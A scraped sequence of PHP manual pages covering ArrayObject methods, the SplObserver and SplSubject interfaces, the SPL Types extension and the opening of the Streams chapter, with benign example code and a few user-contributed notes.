No value is returned.

Examples

Example #1 ArrayObject::setFlags() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Try to use array key as property
var_dump($fruitsArrayObject->lemons);
// Set the flag so that the array keys can be used as properties of the ArrayObject
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);
// Try it again
var_dump($fruitsArrayObject->lemons);
?>

The above example will output:

NULL
int(1)

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::serialize
ArrayObject::setIteratorClass
ArrayObject


Sets the iterator classname for the ArrayObject.

ArrayObject::setFlags
ArrayObject::uasort
ArrayObject
PHP Manual

ArrayObject::setIteratorClass

(PHP 5 >= 5.1.0)

ArrayObject::setIteratorClass — Sets the iterator classname for the ArrayObject.

Description

public void ArrayObject::setIteratorClass ( string $iterator_class )

Sets the classname of the array iterator that is used by ArrayObject::getIterator().

Parameters

iterator_class

The classname of the array iterator to use when iterating over this object.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::setIteratorClass() example

<?php
// Custom ArrayIterator (inherits from ArrayIterator)
class MyArrayIterator extends ArrayIterator {
    // custom implementation
}

// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Set the iterator classname to the newly
$fruitsArrayObject->setIteratorClass('MyArrayIterator');
print_r($fruitsArrayObject->getIterator());

?>

The above example will output:

MyArrayIterator Object
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::setFlags
ArrayObject::uasort
ArrayObject


Sort the entries with a user-defined comparison function and maintain key association

ArrayObject::setIteratorClass
ArrayObject::uksort
ArrayObject
PHP Manual

ArrayObject::uasort

(PHP 5 >= 5.2.0)

ArrayObject::uasort — Sort the entries with a user-defined comparison function and maintain key association

Description

public void ArrayObject::uasort ( callback $cmp_function )

This function sorts the entries such that keys maintain their correlation with the entry that they are associated with, using a user-defined comparison function.

This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

cmp_function

Function cmp_function should accept two parameters which will be filled by pairs of entries. The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::uasort() example

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
$arrayObject = new ArrayObject($array);
print_r($arrayObject);

// Sort and print the resulting array
$arrayObject->uasort('cmp');
print_r($arrayObject);
?>

The above example will output:

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

poxetinho at gmail dot com 01-Sep-2011 12:38
Note that return values between (-1, 1) are being considered as 0.
ArrayObject::setIteratorClass
ArrayObject::uksort
ArrayObject


Sort the entries by keys using a user-defined comparison function

ArrayObject::uasort
ArrayObject::unserialize
ArrayObject
PHP Manual

ArrayObject::uksort

(PHP 5 >= 5.2.0)

ArrayObject::uksort — Sort the entries by keys using a user-defined comparison function

Description

public void ArrayObject::uksort ( callback $cmp_function )

This function sorts the keys of the entries using a user-supplied comparison function. The key to entry correlations will be maintained.

Parameters

cmp_function

The callback comparison function.

Function cmp_function should accept two parameters which will be filled by pairs of entry keys. The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::uksort() example

<?php
function cmp($a, $b) {
    $a = preg_replace('@^(a|an|the) @', '', $a);
    $b = preg_replace('@^(a|an|the) @', '', $b);
    return strcasecmp($a, $b);
}

$array = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);
$arrayObject = new ArrayObject($array);
$arrayObject->uksort('cmp');

foreach ($arrayObject as $key => $value) {
    echo "$key: $value\n";
}
?>

The above example will output:

an apple: 3
a banana: 4
the Earth: 2
John: 1

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::uasort
ArrayObject::unserialize
ArrayObject


Unserialize an ArrayObject

ArrayObject::uksort
SplObserver
ArrayObject
PHP Manual

ArrayObject::unserialize

(PHP 5 >= 5.3.0)

ArrayObject::unserialize — Unserialize an ArrayObject

Description

public void ArrayObject::unserialize ( string $serialized )

Unserializes a serialized ArrayObject.

Warning

This function is currently not documented; only its argument list is available.

Parameters

serialized

The serialized ArrayObject.

Return Values

The unserialized ArrayObject.

See Also

  • ArrayIterator::serialize() - Serialize
  • unserialize() - Creates a PHP value from a stored representation
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::uksort
SplObserver
ArrayObject


The SplObserver interface

(PHP 5 >= 5.1.0)

Introduction

The SplObserver interface is used alongside SplSubject to implement the Observer Design Pattern.

Interface synopsis

SplObserver {
/* Methods */
abstract public void update ( SplSubject $subject )
}

Table of Contents

  • SplObserver::update — Receive update from subject

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::unserialize
SplObserver::update
Miscellaneous Classes and Interfaces


Receive update from subject

SplObserver
SplSubject
SplObserver
PHP Manual

SplObserver::update

(PHP 5 >= 5.1.0)

SplObserver::update — Receive update from subject

Description

abstract public void SplObserver::update ( SplSubject $subject )

This method is called when any SplSubject to which the observer is attached calls SplSubject::notify().

Warning

This function is currently not documented; only its argument list is available.

Parameters

subject

The SplSubject notifying the observer of an update.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplObserver
SplSubject
SplObserver


The SplSubject interface

(PHP 5 >= 5.1.0)

Introduction

The SplSubject interface is used alongside SplObserver to implement the Observer Design Pattern.

Interface synopsis

SplSubject {
/* Methods */
abstract public void attach ( SplObserver $observer )
abstract public void detach ( SplObserver $observer )
abstract public void notify ( void )
}

Table of Contents

  • SplSubject::attach — Attach an SplObserver
  • SplSubject::detach — Detach an observer
  • SplSubject::notify — Notify an observer

User Contributed Notes

There are no user contributed notes for this page.
SplObserver::update
SplSubject::attach
Miscellaneous Classes and Interfaces


Attach an SplObserver

SplSubject
SplSubject::detach
SplSubject
PHP Manual

SplSubject::attach

(PHP 5 >= 5.1.0)

SplSubject::attach — Attach an SplObserver

Description

abstract public void SplSubject::attach ( SplObserver $observer )

Attaches an SplObserver so that it can be notified of updates.

Warning

This function is currently not documented; only its argument list is available.

Parameters

observer

The SplObserver to attach.

Return Values

No value is returned.

User Contributed Notes

workspace dot development at yahoo dot com 02-Dec-2011 08:46
i think that Observer pattern is always implemented as "static" to be called from any scope, for example:
<?php
class Observer {
     //attach here the caller's scope
     private static $stackTrace = array( );
     public static function wasTriggeredOnce() {
          //...if is not in the stack, then:
          self::$stackTrace[] = max( debug_backtrace( ) );
     }
}

class YourFramework {

     public function launchPlatform() {

          //could not let user to launch application twice!
          Observer::wasTriggeredOnce();
     }
}
//cause is static
Observer::hereIsnoNeedToInstantiateAgain();
?>
goran 17-Oct-2011 12:54
The most obvious storage type for observers (stored in attach()) is array. In order to be able to detach attached objects, you should be able to identify it inside observer storage.

I suggest you attach observers this way:

$this->_observers[spl_object_hash($observer)] = $observer;

so you can detach it later if you need:

unset($this->_observers[spl_object_hash($observer)]);
SplSubject
SplSubject::detach
SplSubject


Detach an observer

SplSubject::attach
SplSubject::notify
SplSubject
PHP Manual

SplSubject::detach

(PHP 5 >= 5.1.0)

SplSubject::detach — Detach an observer

Description

abstract public void SplSubject::detach ( SplObserver $observer )

Detaches an observer from the subject to no longer notify it of updates.

Warning

This function is currently not documented; only its argument list is available.

Parameters

observer

The SplObserver to detach.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplSubject::attach
SplSubject::notify
SplSubject


Notify an observer

SplSubject::detach
SPL Types
SplSubject
PHP Manual

SplSubject::notify

(PHP 5 >= 5.1.0)

SplSubject::notify — Notify an observer

Description

abstract public void SplSubject::notify ( void )

Notifies all attached observers.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplSubject::detach
SPL Types
SplSubject


SPL Type Handling

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • SplType — The SplType class
    • SplType::__construct — Creates a new value of some type
  • SplInt — The SplInt class
  • SplFloat — The SplFloat class
  • SplEnum — The SplEnum class
    • SplEnum::getConstList — Returns all consts (possible values) as an array.
  • SplBool — The SplBool class
  • SplString — The SplString class

User Contributed Notes

There are no user contributed notes for this page.
SplSubject::notify
Introduction
Other Basic Extensions


Introduction

This extension aims at helping people making PHP a stronger typed language and can be a good alternative to scalar type hinting. It provides different typehandling classes as such as integer, float, bool, enum and string

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

Tom 28-Oct-2009 08:34
For your information, here is another work-around for this issue, that even works with PHP4 (in case you need to be compatible):

<?php
/**
 * @param string $foo
 */
function foo($foo)
{
  assert('is_string($foo); // Invalid argument type');
  // do some foo
}
?>

This single-line of code should fix it for most people. It will throw an error whenever the expression evaluates to false (if $foo is not a string).

Most errors concerning scalar types are found during development or unit-testing. PHPUnit is fine with these and reports failed assertions as failed tests, also presenting the included message.
Note that assertions need to be turned on for this to work. See the manual page on assertions for more details.
Note that you may deactivate the checks on the target machine, so this comes without any performance penalty. So don't hesitate to make extensive use of this PHP-feature.

Note though: DON'T RELY ON ASSERTIONS FOR CHECKING USER INPUT!

In that case you may want to try this code:
is_string($foo) || trigger_error('String expected', E_USER_ERROR);

Or: simply throw an exception (as usual).
tom 28-Oct-2009 08:09
For backwards compatibility issues:
We do know that auto-unboxing works for strings, thanks to the __toString() magic function. Auto-unboxing for other scalar types may be tricky but possible, by using the same function with another return type (which of cause has some limitations).

However auto-boxing is a real challenge.
If you can provide any details, I would appreciate that.

For auto-unboxing see this code-fragment:

<?php
class MyString {
  private $value = "";
  public function __construct($string) {
    if (!is_string($string)) {
      throw new InvalidArgumentException();
    }
    $this->value = $string;
  }
  public function __toString() {
    return $this->value;
  }
}
?>

For other scalar types, all that changes is the constructor function. Anything else remains unchanged. (While you are at it, you may want to add some type conversion functions for your personal convenience.)

HowTo:

<?php
function foo(MyString $string)
{
  print "$string"; // auto-unboxing in action
}

// prints "Hello World!"
foo(new MyString("Hello World!"));
?>
SPL Types
Installing/Configuring
SPL Types


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SPL Types


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/SPL_Types.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
SplType
Installing/Configuring


The SplType class

(No version information available, might only be in SVN)

Introduction

Parent class for all SPL types.

Class synopsis

abstract SplType {
/* Constants */
const NULL __default = null ;
/* Methods */
__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplType::__default

Table of Contents

  • SplType::__construct — Creates a new value of some type

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SplType::__construct
SPL Types


Creates a new value of some type

SplType
SplInt
SplType
PHP Manual

SplType::__construct

(PECL spl_types >= 0.1.0)

SplType::__construct — Creates a new value of some type

Description

SplType::__construct ([ mixed $initial_value [, bool $strict ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

initial_value

Type and default value depends on the extension class.

strict

Whether to set the object's sctrictness.

Errors/Exceptions

Throws an UnexpectedValueException if incompatible type is given.

User Contributed Notes

There are no user contributed notes for this page.
SplType
SplInt
SplType


The SplInt class

(No version information available, might only be in SVN)

Introduction

The SplInt class is used to enforce strong typing of the integer type.

Class synopsis

SplInt extends SplType {
/* Constants */
const integer __default = 0 ;
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplInt::__default

Examples

Example #1 SplInt usage example

<?php
$int = new SplInt(94);

try {
    $int = 'Try to cast a string value for fun';
} catch (UnexpectedValueException $uve) {
    echo $uve->getMessage() . PHP_EOL;
}

echo $int . PHP_EOL;
?>

The above example will output:

Value not an integer
94

User Contributed Notes

There are no user contributed notes for this page.
SplType::__construct
SplFloat
SPL Types


The SplFloat class

(No version information available, might only be in SVN)

Introduction

The SplFloat class is used to enforce strong typing of the float type.

Class synopsis

SplFloat extends SplType {
/* Constants */
const float __default = 0 ;
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplFloat::__default

Examples

Example #1 SplFloat usage example

<?php
$float = new SplFloat(3.154);
$newFloat = new SplFloat(3);

try {
    $float = 'Try to cast a string value for fun';
} catch (UnexpectedValueException $uve) {
    echo $e->getMessage() . PHP_EOL;
}

echo $float . PHP_EOL;
echo $newFloat . PHP_EOL;
?>

The above example will output:

Value not a float
3.154
3

User Contributed Notes

There are no user contributed notes for this page.
SplInt
SplEnum
SPL Types


The SplEnum class

(No version information available, might only be in SVN)

Introduction

SplEnum gives the ability to emulate and create enumeration objects natively in PHP.

Class synopsis

SplEnum extends SplType {
/* Constants */
const NULL __default = null ;
/* Methods */
public array getConstList ([ bool $include_default = false ] )
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplEnum::__default

Examples

Example #1 SplEnum usage example

<?php
class Month extends SplEnum {
    const __default = self::January;

    const January = 1;
    const February = 2;
    const March = 3;
    const April = 4;
    const May = 5;
    const June = 6;
    const July = 7;
    const August = 8;
    const September = 9;
    const October = 10;
    const November = 11;
    const December = 12;
}

echo new Month(Month::June) . PHP_EOL;

try {
    new Month(13);
} catch (UnexpectedValueException $uve) {
    echo $uve->getMessage() . PHP_EOL;
}
?>

The above example will output:

6
Value not a const in enum Month

Table of Contents

  • SplEnum::getConstList — Returns all consts (possible values) as an array.

User Contributed Notes

No Such Alias 30-Jul-2010 09:11
Here's a clearer example usage in case anyone else finds the
current documentation confusing (as I did).

<?php
class Fruit extends SplEnum
{
  // If no value is given during object construction this value is used
  const __default = 1;
  // Our enum values
  const APPLE     = 1;
  const ORANGE    = 2;
}

$myApple   = new Fruit();
$myOrange  = new Fruit(Fruit::ORANGE);
$fail      = 1;

function eat(Fruit $aFruit)
{
  if (Fruit::APPLE == $aFruit) {
    echo "Eating an apple.\n";
  } elseif (Fruit::ORANGE == $aFruit) {
    echo "Eating an orange.\n";
  }
}

eat($myApple);  // Eating an apple.
eat($myOrange); // Eating an orange.

eat($fail); // PHP Catchable fatal error:  Argument 1 passed to eat() must be an instance of Fruit, integer given

?>
SplFloat
SplEnum::getConstList
SPL Types


Returns all consts (possible values) as an array.

SplEnum
SplBool
SplEnum
PHP Manual

SplEnum::getConstList

(PECL spl_types >= 0.1.0)

SplEnum::getConstList — Returns all consts (possible values) as an array.

Description

public array SplEnum::getConstList ([ bool $include_default = false ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

include_default

Whether to include __default property.

Return Values

Examples

Example #1 SplEnum::getConstList() example

<?php
$bool = new SplBool;
var_dump($bool->getConstList(true));
?>

The above example will output:

array(3) {
  ["__default"]=>
  bool(false)
  ["false"]=>
  bool(false)
  ["true"]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.
SplEnum
SplBool
SplEnum


The SplBool class

(No version information available, might only be in SVN)

Introduction

The SplBool class is used to enforce strong typing of the bool type.

Class synopsis

SplBool extends SplEnum {
/* Constants */
const boolean __default = false ;
const boolean false = false ;
const boolean true = true ;
/* Inherited methods */
public array SplEnum::getConstList ([ bool $include_default = false ] )
}

Predefined Constants

SplBool::__default

SplBool::false

SplBool::true

Examples

Example #1 SplBool usage example

<?php
$true = new SplBool(true);
if ($true) {
    echo "TRUE\n";
}

$false = new SplBool;
if ($false) {
    echo "FALSE\n";
}
?>

The above example will output:

TRUE

User Contributed Notes

There are no user contributed notes for this page.
SplEnum::getConstList
SplString
SPL Types


The SplString class

(No version information available, might only be in SVN)

Introduction

The SplString class is used to enforce strong typing of the string type.

Class synopsis

SplString extends SplType {
/* Constants */
const integer __default = 0 ;
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplString::__default

Examples

Example #1 SplString usage example

<?php
$string = new SplString("Testing");

try {
    $string = array();
} catch (UnexpectedValueException $uve) {
    echo $uve->getMessage() . PHP_EOL;
}

var_dump($string);
echo $string; // Outputs "Testing"
?>

The above example will output:

Value not a string
object(SplString)#1 (1) {
  ["__default"]=>
  string(7) "Testing"
}
Testing

User Contributed Notes

There are no user contributed notes for this page.
SplBool
Streams
SPL Types


Streams

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Stream Classes
  • Predefined Constants
  • Stream Filters
  • Stream Contexts
  • Stream Errors
  • Examples
    • Example class registered as stream wrapper
  • streamWrapper — The streamWrapper class
    • streamWrapper::__construct — Constructs a new stream wrapper
    • streamWrapper::__destruct — Destructs an existing stream wrapper
    • streamWrapper::dir_closedir — Close directory handle
    • streamWrapper::dir_opendir — Open directory handle
    • streamWrapper::dir_readdir — Read entry from directory handle
    • streamWrapper::dir_rewinddir — Rewind directory handle
    • streamWrapper::mkdir — Create a directory
    • streamWrapper::rename — Renames a file or directory
    • streamWrapper::rmdir — Removes a directory
    • streamWrapper::stream_cast — Retrieve the underlaying resource
    • streamWrapper::stream_close — Close an resource
    • streamWrapper::stream_eof — Tests for end-of-file on a file pointer
    • streamWrapper::stream_flush — Flushes the output
    • streamWrapper::stream_lock — Advisory file locking
    • streamWrapper::stream_metadata — Change stream options
    • streamWrapper::stream_open — Opens file or URL
    • streamWrapper::stream_read — Read from stream
    • streamWrapper::stream_seek — Seeks to specific location in a stream
    • streamWrapper::stream_set_option — Change stream options
    • streamWrapper::stream_stat — Retrieve information about a file resource
    • streamWrapper::stream_tell — Retrieve the current position of a stream
    • streamWrapper::stream_write — Write to stream
    • streamWrapper::unlink — Delete a file
    • streamWrapper::url_stat — Retrieve information about a file
  • Stream Functions
    • set_socket_blocking — Alias of stream_set_blocking
    • stream_bucket_append — Append bucket to brigade
    • stream_bucket_make_writeable — Return a bucket object from the brigade for operating on
    • stream_bucket_new — Create a new bucket for use on the current stream
    • stream_bucket_prepend — Prepend bucket to brigade
    • stream_context_create — Create a streams context
    • stream_context_get_default — Retrieve the default streams context
    • stream_context_get_options — Retrieve options for a stream/wrapper/context
    • stream_context_get_params — Retrieves parameters from a context
    • stream_context_set_default — Set the default streams context
    • stream_context_set_option — Sets an option for a stream/wrapper/context
    • stream_context_set_params — Set parameters for a stream/wrapper/context
    • stream_copy_to_stream — Copies data from one stream to another
    • stream_encoding — Set character set for stream encoding
    • stream_filter_append — Attach a filter to a stream
    • stream_filter_prepend — Attach a filter to a stream
    • stream_filter_register — Register a user defined stream filter
    • stream_filter_remove — Remove a filter from a stream
    • stream_get_contents — Reads remainder of a stream into a string
    • stream_get_filters — Retrieve list of registered filters
    • stream_get_line — Gets line from stream resource up to a given delimiter
    • stream_get_meta_data — Retrieves header/meta data from streams/file pointers
    • stream_get_transports — Retrieve list of registered socket transports
    • stream_get_wrappers — Retrieve list of registered streams
    • stream_is_local — Checks if a stream is a local stream
    • stream_notification_callback — A callback function for the notification context paramater
    • stream_register_wrapper — Alias of stream_wrapper_register
    • stream_resolve_include_path — Resolve filename against the include path
    • stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
    • stream_set_blocking — Set blocking/non-blocking mode on a stream
    • stream_set_read_buffer — Set read file buffering on the given stream
    • stream_set_timeout — Set timeout period on a stream
    • stream_set_write_buffer — Sets write file buffering on the given stream
    • stream_socket_accept — Accept a connection on a socket created by stream_socket_server
    • stream_socket_client — Open Internet or Unix domain socket connection
    • stream_socket_enable_crypto — Turns encryption on/off on an already connected socket
    • stream_socket_get_name — Retrieve the name of the local or remote sockets
    • stream_socket_pair — Creates a pair of connected, indistinguishable socket streams
    • stream_socket_recvfrom — Receives data from a socket, connected or not
    • stream_socket_sendto — Sends a message to a socket, whether it is connected or not
    • stream_socket_server — Create an Internet or Unix domain server socket
    • stream_socket_shutdown — Shutdown a full-duplex connection
    • stream_supports_lock — Tells whether the stream supports locking.
    • stream_wrapper_register — Register a URL wrapper implemented as a PHP class
    • stream_wrapper_restore — Restores a previously unregistered built-in wrapper
    • stream_wrapper_unregister — Unregister a URL wrapper

User Contributed Notes

sjon at react dot nl 21-Jan-2011 05:39
warning, you cannot use streams if open_basedir is set. Any (custom) StreamWrapper will always throw a "Operation not permitted" warning
SplString
Introduction
Other Basic Extensions


Introduction

Streams were introduced with PHP 4.3.0 as a way of generalizing file, network, data compression, and other operations which share a common set of functions and uses. In its simplest definition, a stream is a resource object which exhibits streamable behavior. That is, it can be read from or written to in a linear fashion, and may be able to fseek() to an arbitrary locations within the stream.

A wrapper is additional code which tells the stream how to handle specific protocols/encodings. For example, the http wrapper knows how to translate a URL into an HTTP/1.0 request for a file on a remote server. There are many wrappers built into PHP by default (See Supported Protocols and Wrappers), and additional, custom wrappers may be added either within a PHP script using stream_wrapper_register(), or directly from an extension using the API Reference in Working with streams. Because any variety of wrapper may be added to PHP, there is no set limit on what can be done with them. To access the list of currently registered wrappers, use stream_get_wrappers().

A stream is referenced as: scheme://target

  • scheme(string) - The name of the wrapper to be used. Examples include: file, http, https, ftp, ftps, compress.zlib, compress.bz2, and php. See Supported Protocols and Wrappers for a list of PHP built-in wrappers. If no wrapper is specified, the function default is used (typically file://).
  • target - Depends on the wrapper used. For filesystem related streams this is typically a path and filename of the desired file. For network related streams this is typically a hostname, often with a path appended. Again, see Supported Protocols and Wrappers for a description of targets for built-in streams.

Note:

Information on using streams within the PHP source code can be found in the Streams API for PHP Extension Authors reference.

User Contributed Notes

There are no user contributed notes for this page.
Streams
Installing/Configuring
Streams


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Stream Classes

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Streams


Installation

Streams are an integral part of PHP as of version 4.3.0. No steps are required to enable them.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Stream Classes
Installing/Configuring


Stream Classes

User designed wrappers can be registered via stream_wrapper_register(), using the class definition shown on that manual page.

class php_user_filter is predefined and is an abstract baseclass for use with user defined filters. See the manual page for stream_filter_register() for details on implementing user defined filters.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Constant | Description
STREAM_FILTER_READ * | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when reading
STREAM_FILTER_WRITE * | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when writing
STREAM_FILTER_ALL * | This constant is equivalent to STREAM_FILTER_READ | STREAM_FILTER_WRITE
PSFS_PASS_ON * | Return Code indicating that the userspace filter returned buckets in $out.
PSFS_FEED_ME * | Return Code indicating that the userspace filter did not return buckets in $out (i.e. No data available).
PSFS_ERR_FATAL * | Return Code indicating that the userspace filter encountered an unrecoverable error (i.e. Invalid data received).
PSFS_FLAG_NORMAL | Regular read/write.
PSFS_FLAG_FLUSH_INC | An incremental flush.
PSFS_FLAG_FLUSH_CLOSE | Final flush prior to closing.
STREAM_USE_PATH | Flag indicating if the stream used the include path.
STREAM_REPORT_ERRORS | Flag indicating if the wrapper is responsible for raising errors using trigger_error() during opening of the stream. If this flag is not set, you should not raise any errors.
STREAM_CLIENT_ASYNC_CONNECT * | Open client socket asynchronously. This option must be used together with the STREAM_CLIENT_CONNECT flag. Used with stream_socket_client().
STREAM_CLIENT_CONNECT * | Open client socket connection. Client sockets should always include this flag. Used with stream_socket_client().
STREAM_CLIENT_PERSISTENT * | Client socket opened with stream_socket_client() should remain persistent between page loads.
STREAM_SERVER_BIND * | Tells a stream created with stream_socket_server() to bind to the specified target. Server sockets should always include this flag.
STREAM_SERVER_LISTEN * | Tells a stream created with stream_socket_server() and bound using the STREAM_SERVER_BIND flag to start listening on the socket. Connection-orientated transports (such as TCP) must use this flag, otherwise the server socket will not be enabled. Using this flag for connect-less transports (such as UDP) is an error.
STREAM_NOTIFY_RESOLVE * | A remote address required for this stream has been resolved, or the resolution failed. See severity for an indication of which happened.
STREAM_NOTIFY_CONNECT | A connection with an external resource has been established.
STREAM_NOTIFY_AUTH_REQUIRED | Additional authorization is required to access the specified resource. Typical issued with severity level of STREAM_NOTIFY_SEVERITY_ERR.
STREAM_NOTIFY_MIME_TYPE_IS | The mime-type of resource has been identified, refer to message for a description of the discovered type.
STREAM_NOTIFY_FILE_SIZE_IS | The size of the resource has been discovered.
STREAM_NOTIFY_REDIRECTED | The external resource has redirected the stream to an alternate location. Refer to message.
STREAM_NOTIFY_PROGRESS | Indicates current progress of the stream transfer in bytes_transferred and possibly bytes_max as well.
STREAM_NOTIFY_COMPLETED * | There is no more data available on the stream.
STREAM_NOTIFY_FAILURE | A generic error occurred on the stream, consult message and message_code for details.
STREAM_NOTIFY_AUTH_RESULT | Authorization has been completed (with or without success).
STREAM_NOTIFY_SEVERITY_INFO | Normal, non-error related, notification.
STREAM_NOTIFY_SEVERITY_WARN | Non critical error condition. Processing may continue.
STREAM_NOTIFY_SEVERITY_ERR | A critical error occurred. Processing cannot continue.
STREAM_IPPROTO_ICMP + | Provides a ICMP socket.
STREAM_IPPROTO_IP + | Provides a IP socket.
STREAM_IPPROTO_RAW + | Provides a RAW socket.
STREAM_IPPROTO_TCP + | Provides a TCP socket.
STREAM_IPPROTO_UDP + | Provides a UDP socket.
STREAM_PF_INET + | Internet Protocol Version 4 (IPv4).
STREAM_PF_INET6 + | Internet Protocol Version 6 (IPv6).
STREAM_PF_UNIX + | Unix system internal protocols.
STREAM_SOCK_DGRAM + | Provides datagrams, which are connectionless messages (UDP, for example).
STREAM_SOCK_RAW + | Provides a raw socket, which provides access to internal network protocols and interfaces. Usually this type of socket is just available to the root user.
STREAM_SOCK_RDM + | Provides a RDM (Reliably-delivered messages) socket.
STREAM_SOCK_SEQPACKET + | Provides a sequenced packet stream socket.
STREAM_SOCK_STREAM + | Provides sequenced, two-way byte streams with a transmission mechanism for out-of-band data (TCP, for example).
STREAM_SHUT_RD | Used with stream_socket_shutdown() to disable further receptions. Added in PHP 5.2.1.
STREAM_SHUT_WR | Used with stream_socket_shutdown() to disable further transmissions. Added in PHP 5.2.1.
STREAM_SHUT_RDWR | Used with stream_socket_shutdown() to disable further receptions and transmissions. Added in PHP 5.2.1.
STREAM_CAST_FOR_SELECT | Stream casting, for when stream_select() is calling stream_cast().
STREAM_CAST_AS_STREAM | Stream casting, when stream_cast() is called otherwise (see above).
STREAM_META_TOUCH | Used with stream_metadata(), to specify touch() call.
STREAM_META_OWNER | Used with stream_metadata(), to specify chown() call.
STREAM_META_OWNER_NAME | Used with stream_metadata(), to specify chown() call.
STREAM_META_GROUP | Used with stream_metadata(), to specify chgrp() call.
STREAM_META_GROUP_NAME | Used with stream_metadata(), to specify chgrp() call.
STREAM_META_ACCESS | Used with stream_metadata(), to specify chmod() call.

Note: The constants marked with * are just available since PHP 5.0.0.

Note: The constants marked with + are available since PHP 5.1.0 and are meant to be used with stream_socket_pair(). Please note that some of these constants might not be available in your system.

Note: The STREAM_META_* constants are available since PHP 5.4.0 and are meant to be used with stream_metadata().

User Contributed Notes

There are no user contributed notes for this page.
Stream Classes
Stream Filters
Streams


Stream Filters

A filter is a final piece of code which may perform operations on data as it is being read from or written to a stream. Any number of filters may be stacked onto a stream. Custom filters can be defined in a PHP script using stream_filter_register() or in an extension using the API Reference in Working with streams. To access the list of currently registered filters, use stream_get_filters().

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Stream Contexts
Streams


Stream Contexts

A context is a set of parameters and wrapper specific options which modify or enhance the behavior of a stream. Contexts are created using stream_context_create() and can be passed to most filesystem related stream creation functions (i.e. fopen(), file(), file_get_contents(), etc...).

Options can be specified when calling stream_context_create(), or later using stream_context_set_option(). A list of wrapper specific options can be found in the Context options and parameters chapter.

Parameters can be specified for contexts using the stream_context_set_params() function.

User Contributed Notes

